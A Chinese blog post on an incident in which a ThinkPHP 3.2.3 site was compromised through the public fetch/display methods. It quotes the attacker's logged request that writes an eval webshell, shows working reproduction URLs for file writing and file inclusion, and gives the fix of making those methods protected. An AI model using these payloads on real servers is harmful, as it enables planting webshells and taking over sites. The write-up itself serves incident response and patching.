当前位置:首页 > php > 正文内容

记一次tp3.2.3因fetch导致的漏洞处理过程

phpmianshi2年前 (2020-06-04)php1837

问题描述:


最近发现百度收录大幅度下降,并出现大量5xx错误,有些收录页面直接跳转到其他网站,如下图:


图片.png


问题追查

1.根据以往经验首先怀疑网站被植入或者挂马

          于是排查系统日志,因为php项目的植入基本是通过eval植入的,所以我们直接:

          grep eval   nginx.log   发现类似如下日志:

{ "@timestamp": "02/Jun/2020:22:26:21 +0800", "remote_addr": "10.105.193.11", "referer": "-", "request": "GET 
/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('hmseo.php','<?php%20@eval($_POST[hm]);?>hmseo')</php>
 HTTP/1.1", "status": 200, "bytes": 5, "agent": "Mozilla/4.0 
(compatible; MSIE 9.0; Windows NT 6.1)", "x_forwarded": 
"185.207.155.138, 10.105.193.84", "up_addr": "unix:/tmp/php-cgi.sock","up_host": "-","up_resp_time": "0.021","request_time": "0.020" }

2.根据日志基本确定就是被植入了,结合我们网站和wap使用的框架,确定这是tp3.2.3的漏洞

            漏洞概述


            远程攻击者在无需任何权限情况下,可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到getshell的目的。


            一共有两种方式植入:
            第一种是通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件

            fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可getshell


            第二种是通过构造a参数的display方法,实现任意内容包含漏洞

          display函数的作用是加载模板和页面输出

          所对应的参数为:
          $templateFile 指定要调用的模板文件

          $charset 模板输出字符集

          $contentType 输出类型,$content 模板输出内容。

          templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找,然后调用Thinkphp Controller 函数的display方法



3.实战演练

         我们通过fetch方法构造url如下:www.phpmianshi.com/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

         然后执行上面的url就可以在项目目录写入test.php  打印服务器的phpinfo信息,打开 www.phpmianshi.com/test.php 发现可以直接看到phpinfo


        我们通过display方法构造url如下:www.phpmianshi.com/?a=display&templateFile=phpmianshi.txt

         然后执行上面的url就可以直接显示phpmianshi.txt的内容


         根据ThinkPHP框架规则,可以通过 g\m\a 参数指定分组(group)\模块(model)\动作或方法(action),我们打开 Application\Common\Controller 路径下的 BaseController.class.php 可以看到通过a参数直接调的这几个权限为 public 的方法


解决方案

1.这边有问题的是display函数和fetch函数,display 和 fetch 函数的修饰符改为 protected  即可修复

2. 修复完成后,我们再执行 第三步:实战演练中的操作,发现不会再有植入的代码,说明修复成功




版权声明:本文由PHP面试资料网发布,如需转载请注明出处。
分享给朋友:

相关文章

php中如何创建RPC服务和调用RPC服务

RPC 定义#RPC(Remote Procedure Call)即远程过程调用,指被调用方法的具体实现不在程序运行本地,而是在别的某个地方。主要应用于不同的系统之间的远程通信和相互调用。如 A 调用...

PHP内核分析之变量zval在php5和php7中的区别(五)

一、PHP7中的zval使用栈内存在 PHP7 中 zval 有了新的实现方式。最基础的变化就是 zval 需要的内存不再是单独从堆上分配,不再自己存储引用计数。复杂数据类型(比如字符串、数组和对象)...

php中的system方法偶尔会出现unable to fork

背景php代码中调用了system方法,执行了shell脚本,一开始运行正常,过一段时间偶尔会出现unable to fork的报错问题原因system调用会fork新的进程,因为每个用户有最大进程数...

lumen中出现Syntax error or access violation: 1055 ‘***‘ isn‘t in GROUP BY

背景laravel 5.3 以后默认开启 mysql严格模式(strict)在mysql在严格模式下, 并且开启了ONLY_FULL_GROUP_BY的情况下,group by 的字段没有出现在 se...

php中连接mysql的三种方式和预处理下的sql注入

php中连接mysql的三种方式和预处理下的sql注入

基础一条 SQL 在 DB 接收到最终执行完毕返回,大致的过程如下:  1. 词法和语义解析;  2. 优化 SQL 语句,制定执行计划;  3. 执行并返回结果;即时 SQL$sql =&...

PHP数组实际占用内存大小的分析

1.数组正常的赋值是不会发生内存改变的,但是当赋值的新数组发生改动的时候,php就会新开辟内存给新的数组,这里会造成无谓的内存消耗。最好是不要直接这样赋值,如果非赋值不可的话,记得加上‘&’符...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。